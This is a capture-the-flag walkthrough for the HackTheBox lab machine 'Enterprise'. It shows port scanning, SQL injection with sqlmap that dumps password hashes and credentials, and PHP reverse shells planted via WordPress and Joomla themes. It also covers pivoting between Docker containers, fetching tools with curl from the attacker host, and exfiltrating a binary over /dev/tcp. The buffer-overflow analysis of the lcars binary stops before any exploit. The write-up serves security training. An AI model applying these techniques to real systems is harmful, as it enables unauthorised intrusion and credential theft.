---
search:
  exclude: true
---
# Enterprise Writeup

![](img/14.png)

## Introduction :

Enterprise is a medium linux box released back in October 2017.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
      → nmap --top-ports 65000 10.10.10.61 -F
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-04 18:08 GMT
      Nmap scan report for 10.10.10.61
      Host is up (0.093s latency).
      Not shown: 8315 closed ports
      PORT     STATE    SERVICE
      22/tcp   open     ssh
      80/tcp   open     http
      443/tcp  open     https
      5355/tcp filtered llmnr
      8080/tcp open     http-proxy
    
      Nmap done: 1 IP address (1 host up) scanned in 43.10 seconds
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
      → nmap -sCV -p22,80,443,5355,8080 10.10.10.61
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-04 18:09 GMT
      Nmap scan report for 10.10.10.61
      Host is up (0.096s latency).
    
      PORT     STATE    SERVICE  VERSION
      22/tcp   open     ssh      OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
      | ssh-hostkey:
      |   2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
      |   256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
      |_  256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
      80/tcp   open     http     Apache httpd 2.4.10 ((Debian))
      |_http-generator: WordPress 4.8.1
      |_http-server-header: Apache/2.4.10 (Debian)
      |_http-title: USS Enterprise - Ships Log
      443/tcp  open     ssl/http Apache httpd 2.4.25 ((Ubuntu))
      |_http-server-header: Apache/2.4.25 (Ubuntu)
      |_http-title: Apache2 Ubuntu Default Page: It works
      | ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
      | Not valid before: 2017-08-25T10:35:14
      |_Not valid after:  2017-09-24T10:35:14
      |_ssl-date: TLS randomness does not represent time
      | tls-alpn:
      |_  http/1.1
      5355/tcp filtered llmnr
      8080/tcp open     http     Apache httpd 2.4.10 ((Debian))
      |_http-generator: Joomla! - Open Source Content Management
      | http-open-proxy: Potentially OPEN proxy.
      |_Methods supported:CONNECTION
      | http-robots.txt: 15 disallowed entries
      | /joomla/administrator/ /administrator/ /bin/ /cache/
      | /cli/ /components/ /includes/ /installation/ /language/
      |_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
      |_http-server-header: Apache/2.4.10 (Debian)
      |_http-title: Home
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 23.47 seconds
    

## **Part 2 : Getting User Access**

Our nmap scan picked up 2 http services running on port 80 and 8080 so we dirbust them both :
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → dirb http://10.10.10.61
    
    -----------------
    DIRB v2.22
    By The Dark Raver
    -----------------
    
    START_TIME: Wed Mar  4 18:11:46 2020
    URL_BASE: http://10.10.10.61/
    WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
    
    -----------------
    
    GENERATED WORDS: 4612
    
    ---- Scanning URL: http://10.10.10.61/ ----
    + http://10.10.10.61/server-status (CODE:403|SIZE:299)
    
    ==> DIRECTORY: http://10.10.10.61/wp-admin/
    
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → dirb http://10.10.10.61:8080
    
    -----------------
    DIRB v2.22
    By The Dark Raver
    -----------------
    
    START_TIME: Wed Mar  4 18:11:45 2020
    URL_BASE: http://10.10.10.61:8080/
    WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
    
    -----------------
    
    GENERATED WORDS: 4612
    
    ---- Scanning URL: http://10.10.10.61:8080/ ----
    + http://10.10.10.61:8080/0 (CODE:200|SIZE:7678)
    + http://10.10.10.61:8080/01 (CODE:200|SIZE:8286)
    + http://10.10.10.61:8080/02 (CODE:200|SIZE:8595)
    + http://10.10.10.61:8080/1 (CODE:200|SIZE:8285)
    + http://10.10.10.61:8080/1x1 (CODE:200|SIZE:8287)
    + http://10.10.10.61:8080/2 (CODE:200|SIZE:8594)
    + http://10.10.10.61:8080/2g (CODE:200|SIZE:8595)
    + http://10.10.10.61:8080/about (CODE:200|SIZE:8160)
    + http://10.10.10.61:8080/About (CODE:200|SIZE:8160)
    ==> DIRECTORY: http://10.10.10.61:8080/administrator/
    ==> DIRECTORY: http://10.10.10.61:8080/bin/
    ==> DIRECTORY: http://10.10.10.61:8080/cache/
    ==> DIRECTORY: http://10.10.10.61:8080/components/
    

So as our nmap scan picked up, we have wordpress running on port 80, and joomla running on port 8080 and investigating port 443 we get yet another webpage which is the default apache successful installation page

Now dirbusting a https is long and tedious but we find the /files directory nonetheless : 

![](prg/14_002.png)

so we download it locally (wget --no-check-certificate) and try to unzip it : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → wget https://10.10.10.61/files/lcars.zip --no-check-certificate
    --2020-03-05 06:26:20--  https://10.10.10.61/files/lcars.zip
    Connecting to 10.10.10.61:443... connected.
    WARNING: The certificate of ‘10.10.10.61’ is not trusted.
    WARNING: The certificate of ‘10.10.10.61’ doesn't have a known issuer.
    WARNING: The certificate of ‘10.10.10.61’ has expired.
    The certificate has expired
    The certificate's owner does not match hostname ‘10.10.10.61’
    HTTP request sent, awaiting response... 200 OK
    Length: 1406 (1.4K) [application/zip]
    Saving to: ‘lcars.zip’
    
    lcars.zip                     100%[===============================================>]   1.37K  --.-KB/s    in 0s
    
    2020-03-05 06:26:21 (14.0 MB/s) - ‘lcars.zip’ saved [1406/1406]
    
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → unzip lcars.zip
    Archive:  lcars.zip
      inflating: lcars/lcars_db.php
      inflating: lcars/lcars_dbpost.php
      inflating: lcars/lcars.php
    

now looking at lcars_db.php we see a few interesting things : 

![](prg/14_003.png)

number one being the php script including a wordpress php config, located in /var/www/html/wp-config.php which could possibly reveal additional information about the database being used, and at the bottom we see a sql query looking for the number (integer) of wp_post IDs which shows an apparent SQL Injection vulnerability, however because the $result variable is returning an array and whatever we try to inject won't be able to escape the echo statement.

![](prg/14_004.png)

here the script is also using the /var/www/html/wp-config.php config, and preety much the same things as above but with 2 additional if statements which are additional checks against sql injections, however we see that whatever we try to query gets casted into integer type so we could write a simple python script, to try passing in numbers as query to inspect what information we can get from it.
    
    
    import requests
    
    url ="http://10.10.10.61/wp-content/plugins/lcars/lcars_dbpost.php?query="
    for x in range(150):
            tmp = url + str(x)
            print(str(x),str(requests.get(tmp).text).strip())
    

So once the python script saved, we execute it : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → nano script.py
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → python script.py
    ('0', '')
    ('1', 'Hello world!')
    ('2', '')
    ('3', 'Auto Draft')
    ('4', 'Espresso')
    ('5', 'Sandwich')
    ('6', 'Coffee')
    ('7', 'Home')
    ('8', 'About')
    ('9', 'Contact')
    ('10', 'Blog')
    ('11', 'A homepage section')
    ('12', '')
    ('13', 'enterprise_header')
    ('14', 'Espresso')
    ('15', 'Sandwich')
    ('16', 'Coffee')
    ('17', '')
    ('18', '')
    ('19', '')
    ('20', '')
    ('21', '')
    ('22', '')
    ('23', 'enterprise_header')
    ('24', 'cropped-enterprise_header-1.jpg')
    ('25', '')
    ('26', '')
    ('27', '')
    ('28', '')
    ('29', '')
    ('30', 'Home')
    ('31', '')
    ('32', '')
    ('33', '')
    ('34', 'Yelp')
    ('35', 'Facebook')
    ('36', 'Twitter')
    ('37', 'Instagram')
    ('38', 'Email')
    ('39', '')
    ('40', 'Hello world!')
    ('41', '')
    ('42', '')
    ('43', '')
    ('44', '')
    ('45', '')
    ('46', '')
    ('47', '')
    ('48', '')
    ('49', '')
    ('50', '')
    ('51', 'Stardate 49827.5')
    ('52', 'Stardate 49827.5')
    ('53', 'Stardate 50893.5')
    ('54', 'Stardate 50893.5')
    ('55', 'Stardate 52179.4')
    ('56', 'Stardate 52179.4')
    ('57', 'Stardate 55132.2')
    ('58', 'Stardate 55132.2')
    ('59', '')
    ('60', '')
    ('61', '')
    ('62', '')
    ('63', '')
    ('64', '')
    ('65', '')
    ('66', 'Passwords')
    ('67', 'Passwords')
    ('68', 'Passwords')
    ('69', 'YAYAYAYAY.')
    ('70', 'YAYAYAYAY.')
    ('71', 'test')
    ('72', '')
    ('73', '')
    ('74', '')
    ('75', '')
    ('76', '')
    ('77', '')
    ('78', 'YAYAYAYAY.')
    ('79', '')
    ('80', '')
    ('81', '')
    ('82', '')
    ('83', '')
    ('84', '')
    ('85', '')
    ('86', '')
    ('87', '')
    ('88', '')
    ('89', '')
    ('90', '')
    ('91', '')
    ('92', '')
    ('93', '')
    ('94', '')
    ('95', '')
    ('96', '')
    ('97', '')
    ('98', '')
    ('99', '')
    ('100', '')
    

even though the page has 5 posts, according to our results it has quite a few more, so maybe our script isn't all that great, for lcars_db.php we'll use sqlmap instead :
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
      → sqlmap -u http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php\?query\=1 --dbs
              ___
             __H__
       ___ ___[.]_____ ___ ___  {1.4.2#stable}
      |_ -| . [.]     | .'| . |
      |___|_  [(]_|_|_|__,|  _|
            |_|V...       |_|   http://sqlmap.org
    
      [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
      [*] starting @ 07:10:04 /2020-03-05/
    
      [07:10:04] [INFO] testing connection to the target URL
      [07:10:05] [INFO] checking if the target is protected by some kind of WAF/IPS
      [07:10:05] [INFO] testing if the target URL content is stable
      [07:10:05] [INFO] target URL content is stable
      [07:10:05] [INFO] testing if GET parameter 'query' is dynamic
      [07:10:06] [WARNING] GET parameter 'query' does not appear to be dynamic
      [07:10:06] [WARNING] heuristic (basic) test shows that GET parameter 'query' might not be injectable
      [07:10:06] [INFO] testing for SQL injection on GET parameter 'query'
      [07:10:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
      [07:10:08] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
      [07:10:09] [INFO] GET parameter 'query' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="fatal")
      [07:10:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
      [07:10:13] [INFO] GET parameter 'query' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
      it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
      for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
      [07:10:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
      [07:10:48] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
      [07:10:50] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
      [07:10:52] [INFO] target URL appears to have 1 column in query
      [07:10:53] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql')
      [07:10:57] [INFO] target URL appears to be UNION injectable with 1 columns
      GET parameter 'query' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
      sqlmap identified the following injection point(s) with a total of 67 HTTP(s) requests:
      ---
      Parameter: query (GET)
          Type: boolean-based blind
          Title: Boolean-based blind - Parameter replace (original value)
          Payload: query=(SELECT (CASE WHEN (5644=5644) THEN 1 ELSE (SELECT 2592 UNION SELECT 3911) END))
    
          Type: error-based
          Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
          Payload: query=1 AND (SELECT 9520 FROM(SELECT COUNT(*),CONCAT(0x716a7a7171,(SELECT (ELT(9520=9520,1))),0x716b627671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
      ---
      [07:11:02] [INFO] the back-end DBMS is MySQL
      back-end DBMS: MySQL >= 5.0
      [07:11:04] [INFO] fetching database names
      [07:11:04] [INFO] retrieved: 'information_schema'
      [07:11:05] [INFO] retrieved: 'joomla'
      [07:11:05] [INFO] retrieved: 'joomladb'
      [07:11:05] [INFO] retrieved: 'mysql'
      [07:11:05] [INFO] retrieved: 'performance_schema'
      [07:11:06] [INFO] retrieved: 'sys'
      [07:11:06] [INFO] retrieved: 'wordpress'
      [07:11:06] [INFO] retrieved: 'wordpressdb'
      available databases [8]:
      [*] information_schema
      [*] joomla
      [*] joomladb
      [*] mysql
      [*] performance_schema
      [*] sys
      [*] wordpress
      [*] wordpressdb
    
    

And we found a few databases ! 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → sqlmap -u http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php\?query\=1 -D wordpress -T wp_users -C user_login,user_pass,user_email --dump --hex --threads 5
            ___
           __H__
     ___ ___[.]_____ ___ ___  {1.4.2#stable}
    |_ -| . ["]     | .'| . |
    |___|_  [(]_|_|_|__,|  _|
          |_|V...       |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting @ 07:59:46 /2020-03-05/
    
    [...]
    
    
    DB:wordpress
    
    Table:wp_users
    user : william.riker
    pass : $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.
    email : william.riker@enterprise.htb
    
    Table:wp_posts
    I got 1 draft post including password list
    
    Needed somewhere to put some passwords quickly
    ZxJyhGem4k338S2Y
    enterprisencc170
    ZD3YxfnSjezg67JZ
    u*Z14ru0p#ttj83zS6
    
    DB: joomladb
    prefix : edz2g
    
    Command : sqlmap -u http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=1 -D joomladb -T edz2g_users -C username,password,email --dump --threads 10
    Table : edz2g_users
    +-----------------+--------------------------------------------------------------+--------------------------------+
    | username | password | email |
    +-----------------+--------------------------------------------------------------+--------------------------------+
    | geordi.la.forge | $2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy | geordi.la.forge@enterprise.htb |
    | Guinan | $2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q | guinan@enterprise.htb |
    +-----------------+--------------------------------------------------------------+--------------------------------+
    
    DB: mysql
    user: joomladb  |  2eb70fd4eb74f31283541aad4e83ab6e077bc0df MySQL4.1/MySQL5 : joomlapassword!
    user: root  | 95b8a7b0a041cf2011bea41db57315c603285253 MySQL4.1/MySQL5 : NCC-1701E
    user:wordpressdb | 10c910bc9c2c46140dc275cb69dc6565de125630 MySQL4.1/MySQL5 : passwordwordpress
    

From there, we have a few credentials to work with, let's try **william.riker:u*Z14ru0p#ttj83zS6** on the wordpress admin pannel : 
    
    
      λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Enterprise]
    → echo '10.10.10.61 enterprise.htb' >> /etc/hosts
    
    

` ![](prg/14_005.png)

And we are logged in! now we move over to the themes tab to upload our reverse shell : 

![](prg/14_006.png)
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → locate nihilist.php
    /home/nihilist/_HTB/Bastard/nihilist.php
    /home/nihilist/_HTB/Cronos/nihilist.php
    /home/nihilist/_HTB/Haircut/nihilist.php
    /home/nihilist/_HTB/Networked/nihilist.php.gif
    /home/nihilist/_HTB/October/nihilist.php5
    /home/nihilist/_HTB/Popcorn/nihilist.php
    /home/nihilist/_HTB/Popcorn/nihilist.php.gif
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → cp /home/nihilist/_HTB/Popcorn/nihilist.php .
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → nano nihilist.php
    

` ![](prg/14_007.png)

Once modified we move over to the 404.php file we modified containing our reverse shell : 

![](prg/14_008.png)

And trying to print out the user flag we get a troll, so we need to see what we have to do from here. 
    
    
      www-data@b8319d86d21e:/home$ hostname
      hostname
      b8319d86d21e
      www-data@b8319d86d21e:/home$ ip addr
      ip addr
      1: lo: <****LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
          link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
          inet 127.0.0.1/8 scope host lo
             valid_lft forever preferred_lft forever
      8: eth0@if9: <****BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
          link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
          inet 172.17.0.4/16 scope global eth0
             valid_lft forever preferred_lft forever

From here we see that the current box that we are on , logged in as www-data. we can move in /tmp, and download LinEnum to execute and see what we can do on the box
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
      → locate LinEnum.sh
      /home/nihilist/_HTB/Cronos/LinEnum.sh
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
      → cp /home/nihilist/_HTB/Cronos/LinEnum.sh .
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
      → python -m SimpleHTTPServer 8080
      Serving HTTP on 0.0.0.0 port 8080 ...
    
    
    
      www-data@b8319d86d21e:/home$ cd /tmp && curl -O http://10.10.14.11:8080/LinEnum.sh && chmod +x LinEnum.sh && ./LinEnum.sh
    

Looking at the results, we see that we are actually WITHIN a docker container, and somehow we have to break free from it. our current ip address within the box is 172.17.0.4/16 so let's see if we can ping any other ip address within this range :
    
    
      www-data@b8319d86d21e:/home$ for x in $(seq 1 255); do ping -W 1 -c 1 172.17.0.$x | grep from; done
    <$ for x in $(seq 1 255); do ping -W 1 -c 1 172.17.0.$x | grep from; done
    64 bytes from 172.17.0.1: icmp_seq=0 ttl=64 time=0.153 ms
    64 bytes from 172.17.0.2: icmp_seq=0 ttl=64 time=0.091 ms
    64 bytes from 172.17.0.3: icmp_seq=0 ttl=64 time=0.151 ms
    64 bytes from 172.17.0.4: icmp_seq=0 ttl=64 time=0.041 ms
    

And looking at it, we seem to be able to ping 3 other ip addresses (172.17.0.4 being our docker container.) now running**which nc** we see that netcat isn't available for us, so we have to download a binary locally and then upload it using wget/SimpleHTTPServer like before
    
    
      www-data@b8319d86d21e:/tmp$ curl -O http://10.10.14.11:8080/nc && chmod +x nc
      curl -O http://10.10.14.11:8080/nc && chmod +x nc
        % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                       Dload  Upload   Total   Spent    Left  Speed
      100 35520  100 35520    0     0  34016      0  0:00:01  0:00:01 --:--:-- 34022
      www-data@b8319d86d21e:/tmp$ ls -lash
      ls -lash
      total 128K
      4.0K drwxrwxrwt  3 root     root     4.0K Mar  5 08:51 .
      4.0K drwxr-xr-x 73 root     root     4.0K Sep  6  2017 ..
      4.0K drwxr-xr-x  2 www-data www-data 4.0K Sep  7  2017 .sam
       36K -rwxr-xr-x  1 www-data www-data  35K Mar  5 08:51 nc
       60K -rw-------  1 www-data www-data  58K Oct 16  2017 sess_09dc3ceeb2cec4020caf3d94f3001509
      4.0K -rw-------  1 www-data www-data   60 Sep  8  2017 sess_71faa5ea6f4f1d51294af6db00072edd
      4.0K -rw-------  1 www-data www-data  917 Sep  8  2017 sess_b9c02f197e1c999b859d36e1e1040a6e
      8.0K -rw-------  1 www-data www-data 7.2K Oct 17  2017 sess_c84f999fe96f763f1e5928bb1ded0eae
      4.0K -rw-------  1 www-data www-data   60 Oct 20  2017 sess_f4abe5392ffbb75a6ecb22dd4af8accc
    
    

From there we can scan the 3 ip addresses we found earlier : 
    
    
    www-data@b8319d86d21e:/tmp$./nc -vz 172.17.0.1 1-65535 2>/dev/stdout | grep 'succeeded!'
    Connection to 172.17.0.1 22 port [tcp/ssh] succeeded!
    Connection to 172.17.0.1 80 port [tcp/http] succeeded!
    Connection to 172.17.0.1 443 port [tcp/https] succeeded!
    Connection to 172.17.0.1 5355 port [tcp/hostmon] succeeded!
    Connection to 172.17.0.1 8080 port [tcp/http-alt] succeeded!
    Connection to 172.17.0.1 32812 port [tcp/*] succeeded!
    
    www-data@b8319d86d21e:/tmp$./nc -vz 172.17.0.2 1-65535 2>/dev/stdout | grep 'succeeded!'
    Connection to 172.17.0.2 3306 port [tcp/mysql] succeeded!
    
    www-data@b8319d86d21e:/tmp$./nc -vz 172.17.0.3 1-65535 2>/dev/stdout | grep 'succeeded!'
    Connection to 172.17.0.3 80 port [tcp/http] succeeded!
    
    

Unfortunately we don't get to be able to do much more from here, so let's try and see what we can do from the joomla service running on port 8080 using the credentials we found earlier : 
    
    
      ZD3YxfnSjezg67JZ:geordi.la.forge
      ZxJyhGem4k338S2Y:Guinan
    

` ![](prg/14_009.png) ![](prg/14_010.png)

Once we are logged in , we go ahead and upload a php reverse shell, just like for the wordpress service by editing a php file : 

Extensions > Templates > Templates > Protostar 

![](prg/14_011.png) ![](prg/14_012.png)

Save the modified php file, and hit preview to execute the infected php file : 

![](prg/14_013.png)

And we seem to get into yet another docker container, this time as the 172.17.0.3 
    
    
      172.17.0.1 (Host machine)
    172.17.0.3 (Joomla)
    172.17.0.4 (Wordpress)
    

From there we can probably guess that **172.17.0.2** is the mysql server. 
    
    
    www-data@a7018bfdc454:/home$ mount -l
    mount -l
    
    [...]
    
    **/dev/mapper/enterprise--vg-root on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
    /dev/mapper/enterprise--vg-root on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
    /dev/mapper/enterprise--vg-root on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
    /dev/mapper/enterprise--vg-root on /var/www/html type ext4 (rw,relatime,errors=remount-ro,data=ordered)
    /dev/mapper/enterprise--vg-root on /var/www/html/files type ext4 (rw,relatime,errors=remount-ro,data=ordered)**
    proc on /proc/bus type proc (ro,relatime)
    proc on /proc/fs type proc (ro,relatime)
    proc on /proc/irq type proc (ro,relatime)
    proc on /proc/sys type proc (ro,relatime)
    proc on /proc/sysrq-trigger type proc (ro,relatime)
    tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
    tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
    tmpfs on /proc/timer_stats type tmpfs (rw,nosuid,size=65536k,mode=755)
    tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)
    tmpfs on /sys/firmware type tmpfs (ro,relatime)
    
    www-data@a7018bfdc454:/home$ cd /var/www/html/files
    cd /var/www/html/files
    
    www-data@a7018bfdc454:/var/www/html/files$ ls
    ls
    lcars.zip
    

here we see that /var/www/html/files is mounted as the SAME /files directory we found on port 443 at the beginning

![](prg/14_014.png)

Creating a quick file using the touch command, we see that we are effectively able to create files in the /files directory. so let's upload our reverse shell using curl just like the previous 2 times : 

![](prg/14_015.png)
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
      → nc -lvnp 9001
      listening on [any] 9001 ...
      connect to [10.10.14.11] from (UNKNOWN) [10.10.10.61] 54016
      bash: cannot set terminal process group (1618): Inappropriate ioctl for device
      bash: no job control in this shell
      www-data@enterprise:/var/www/html/files$ cd /home
      lcd /home
      www-data@enterprise:/home$ s
      ls
      jeanlucpicard
      www-data@enterprise:/home$ cd jeanlucpicard
      cd jeanlucpicard
      www-data@enterprise:/home/jeanlucpicard$ cat user.txt
      cat user.txt
      08XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

and that's it ! we have the user flag. 

## **Part 3 : Getting Root Access**

From there we go as usual into /tmp to upload and then execute LinEnum.sh, and looking at the results, we see that we have an interesting binary in /bin/lcars. so let's copy it locally :

_Terminal 1:_
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
      → nc -lp 9003 | base64 -d > lcars.binary && chmod +x lcars.binary
    

` _Terminal 2:_
    
    
      www-data@enterprise:/bin$ base64 lcars > /dev/tcp/10.10.14.11/9003
      base64 lcars > /dev/tcp/10.10.14.11/9003
    
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    →  nc -lp 9003 | base64 -d > lcars.binary && chmod +x lcars.binary
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise]
    → ltrace ./lcars.binary
    __libc_start_main(0x56588c91, 1, 0xffc87bc4, 0x56588d30 <****unfinished ...****>
    setresuid(0, 0, 0, 0x56588ca8)                                          = 0xffffffff
    puts(""
    )                                                                = 1
    puts("                 _______ _______"...                 _______ _______  ______ _______
    )                             = 49
    puts("          |      |       |_____|"...          |      |       |_____| |_____/ |______
    )                             = 49
    puts("          |_____ |_____  |     |"...          |_____ |_____  |     | |    \_ ______|
    )                             = 49
    puts(""
    )                                                                = 1
    puts("Welcome to the Library Computer "...Welcome to the Library Computer Access and Retrieval System
    
    )                             = 61
    puts("Enter Bridge Access Code: "Enter Bridge Access Code:
    )                                      = 27
    fflush(0xf7f3fd80)                                                      = 0
    fgets

At this point, we have to give some user input, so let's try and see if there is a certain limit to this input to trigger a buffer overflow 
    
    
    fflush(0xf7f2ed80)                                                      = 0
    fgets(AAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAAa
    "AAAAAAAA", 9, 0xf7f2e5c0)                                        = 0xffa1ec17
    strcmp("AAAAAAAA", "picarda1")                                          = -1
    puts("\nInvalid Code\nTerminating Consol"...
    Invalid Code
    Terminating Console
    
    )                           = 35
    fflush(0xf7f2ed80)                                                      = 0
    exit(0 <****no return ...>
    +++ exited (status 0) +++

and we see that we managed to trigger some kind of a BOF revealling "picarda1" so let's run it within gdb :
    
    
      λ nihilist [ 80.215.152.250 ] [~/_HTB/Enterprise]
    → gdb ./lcars.binary
    GNU gdb (Debian 8.3.1-1) 8.3.1
    Copyright (C) 2019 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later 
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.
    Type "show copying" and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    
    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from ./lcars.binary...
    (No debugging symbols found in ./lcars.binary)
    gdb-peda$ r
    Starting program: /home/nihilist/_HTB/Enterprise/lcars.binary
    
                     _______ _______  ______ _______
              |      |       |_____| |_____/ |______
              |_____ |_____  |     | |    \_ ______|
    
    Welcome to the Library Computer Access and Retrieval System
    
    Enter Bridge Access Code:
    picarda1
    
                     _______ _______  ______ _______
              |      |       |_____| |_____/ |______
              |_____ |_____  |     | |    \_ ______|
    
    Welcome to the Library Computer Access and Retrieval System
    
    
    
    LCARS Bridge Secondary Controls -- Main Menu:
    
    1. Navigation
    2. Ships Log
    3. Science
    4. Security
    5. StellaCartography
    6. Engineering
    7. Exit
    Waiting for input:
    

With the picarda1 password we gain access to some sort of a menu within the binary, choosing 4 and then typing something we arrive at something interesting :
    
    
      1. Navigation
    2. Ships Log
    3. Science
    4. Security
    5. StellaCartography
    6. Engineering
    7. Exit
    Waiting for input:
    4
    Disable Security Force Fields
    Enter Security Override:
    
    asd
    Rerouting Tertiary EPS Junctions: asd[Inferior 1 (process 4645) exited normally]
    Warning: not running
    
    gdb-peda$ checksec
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : disabled
    PIE       : ENABLED
    RELRO     : Partial
    
    gdb-peda$ aslr
    ASLR is OFF
    
    

here we use checksec and see that NX and ASLR are both disabled. Back on the machine we check if ASLR is turned off as the binary says so :
    
    
      www-data@enterprise:/bin$ cat /proc/sys/kernel/randomize_va_space
    cat /proc/sys/kernel/randomize_va_space
    0
    

and here it says 0 therefore ASLR is actually disabled. 
    
    
      gdb-peda$ r
    Starting program: /home/nihilist/_HTB/Enterprise/lcars.binary
    
                     _______ _______  ______ _______
              |      |       |_____| |_____/ |______
              |_____ |_____  |     | |    \_ ______|
    
    Welcome to the Library Computer Access and Retrieval System
    
    Enter Bridge Access Code:
    picarda1
    
                     _______ _______  ______ _______
              |      |       |_____| |_____/ |______
              |_____ |_____  |     | |    \_ ______|
    
    Welcome to the Library Computer Access and Retrieval System
    
    
    
